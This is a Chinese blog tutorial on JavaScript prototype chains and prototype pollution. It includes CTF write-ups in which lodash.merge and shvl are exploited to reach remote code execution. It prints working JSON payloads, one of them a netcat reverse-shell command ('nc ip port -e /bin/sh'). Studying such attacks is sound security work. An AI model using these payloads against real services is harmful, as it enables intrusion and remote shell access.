JavaScript的继承与原型链
继承这个特性对于学习java和c++的人来说不会陌生,但javascript的继承同前两种语言不同,它是动态的,并且没有一个明确的类。对于js,定义一个类本质上就是定义一个构造函数。
//所以可以像这样以创建函数的方式创建一个类
function a(){
b=2
this.func = () => console.log(b)
}
obj = new a() //实例对象obj
obj.func()
在javascript中,一切都是对象,他也只有对象这一种结构。而对象和对象间又存在继承关系。
var test = {
a:1 ,
m: function(){
console.log(this.a);
}
};
var p = Object.create(test);//p继承test
p.a=4;//继承test的变量
p.m();//继承test的函数
/**result
4
**/
每个实例对象(object
)都有一个私有属性(__proto__
)指向它的构造函数的原型对象(prototype
),每个实例对象还有一个属性(constructor
)指向原型的构造函数。该原型对象也有一个自己的原型对象(__proto__
),层层向上直到一个对象的原型对象为null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。
function test(){
b=2
this.func = () => console.log(b)
}
obj = new test()
obj.func()
test.prototype === obj.__proto__
test.prototype.constructor === test
obj.__proto__.constructor === test
- 原型
任何对象都有一个原型对象,这个原型对象由对象的内置属性proto指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的 - 原型链
原型链的核心就是依赖对象__proto__
的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype
的进行查找,直至查找到Object的原型null为止。
原型链污染
原理
javascript的动态机制导致了它的继承也是动态的
var parents = {
mom:"Ellie",
dad:"Tom"
};
var son = Object.create(parents);
var daughter=Object.create(parents);
console.log(son.mom+","+son.dad);
daughter.__proto__.mom="Shana";
daughter.__proto__.dad="Bob";
console.log(son.mom+","+son.dad);
/**
* result
Ellie,Tom
Shana,Bob
*/
}
son和daughter继承自同一个对象parents,因为动态继承,当我们修改daughter原型的变量时,son继承的变量也随之改变。利用这一特性,就可以污染对象的原型链,使得所有继承原型的对象都具有同一属性。
基础利用
发生原型链污染的必要条件就是需要一个可控的对象键值
对于语句object[a][b] = value
,如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value,这样所有继承object的对象都具有属性b,值为value。
实际能够产生这种条件的一般有:
- 对象合并(merge)
//简单的merge function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } let object1 = {} let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')//JSON解析 merge(object1, object2) console.log(object1.a, object1.b) object3 = {} console.log(object3.b)
__proto__
在JSON解析中会被认为是一个真正的键值,其他情况则会被认为是一个属性值处理。 - 对象克隆
利用clone()函数,本质也是将对象合并到一个空对象中。
比较经典的题目有Code-Breaking 2018 Thejs
网上的分析文章已经足够全面,我这里只简单讲解一下
源码:
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
问题代码:
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
这里将post获取的数据存入session,用到的函数lodash.merge
跟进函数分析源码
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
这里发现只要控制sourceURL参数,就可以通过构造chile_process.exec()
来执行任意代码
sourceURL不能直接赋值,但它通过options对象来获取,options默认不存在sourceURL属性,所以未空,我们可以为options的原型添加一个sourceURL属性,来控制sourceURL的值
payload:
{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}
利用第三方库的原型链污染
原型链污染可以结合一些第三方库的漏洞经行利用,实现RCE
在Antctf中,8-bit pub这道题就考察了shvl库
部分代码:
const send = require("../utils/mail");
const shvl = require("shvl");
module.exports = {
home: function(req, res) {
return res.sendView("admin.html");
},
email: async function(req, res) {
let contents = {};
Object.keys(req.body).forEach((key) => {
shvl.set(contents, key, req.body[key]); //post传入key的值
});
contents.from = '"admin" <[email protected]>';
try {
await send(contents); //发送邮件
return res.json({
message: "Success."
});
} catch (err) {
return res.status(500).json({
message: err.message
});
}
},
};
查询shvl库,发现存在原型链污染,作者过滤了__proto__
,但仍可以利用constructor.prototype
进行污染
const shvl = require("shvl");
const a = {}, b = {};
shvlset(a, "constructor.prototype.a", 123);//__proto__被过滤,但可以利用 constructor.prototype进行污染
console.log(b.a); //输出123
成功污染了原型链,此时需要发送邮件来触发,这里使用了nodemailer库
查找库的源码
...
//存在child_process命令执行
const spawn = require('child_process').spawn;
...
//参数可控
try {
sendmail = this._spawn(this.path, args);
}
···
args参数赋值方法
if (this.args) {
// force -i to keep single dots
args = ['-i'].concat(this.args).concat(envelope.to);
} else {
args = ['-i'].concat(envelope.from ? ['-f', envelope.from] : []).concat(envelope.to);
}
此时我们只需要污染Object的args参数和path参数,就可以指向任意命令。
但需要注意题⽬要让流程进⼊sendmail命令,还需要污染Object.sendmail
为true
payload:
{
"constructor.prototype.path": "/bin/sh",
"constructor.prototype.args": [
"-c",
"nc ip port -e /bin/sh" //反弹shell
],
"constructor.prototype.sendmail": true
}
Comments | NOTHING